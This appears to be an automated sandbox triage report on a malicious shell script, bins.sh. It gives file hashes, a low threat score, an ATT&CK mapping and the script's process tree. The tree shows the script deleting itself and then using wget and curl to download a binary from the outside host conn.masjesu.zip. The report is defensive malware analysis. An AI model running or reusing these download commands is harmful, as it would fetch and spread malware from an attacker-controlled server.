bfb23eb934f3883d78cf1eac1564c0134e0dcaf113d1d181f6cfa3a286ba15df | Triage

Analysis

max time kernel
148s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 06:51

Sharing

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

0aa36dbe759c8d988e78a4412cf5063a
SHA1

552ab3a8677b9f2d930adb11c1444a26b37c0127
SHA256

bfb23eb934f3883d78cf1eac1564c0134e0dcaf113d1d181f6cfa3a286ba15df
SHA512

efecf14821061e965eb5296d96de0faa0895d3a49a07ff769c847ef448f750876a33f6dda7369fb2f2f608eb6098dc062dfbd176a97c532397d41ee476cd0a92
SSDEEP

192:p5Me8mAURUpUEdUTUHUO39v8kURUpUEdUTUHUmC:p5Me8mAg85dCyx9v8kg85dCyI

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurl

pid process

1492 wget
1496 curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1490
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1491
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - System Network Configuration Discovery
  PID:1492
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - System Network Configuration Discovery
  PID:1496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads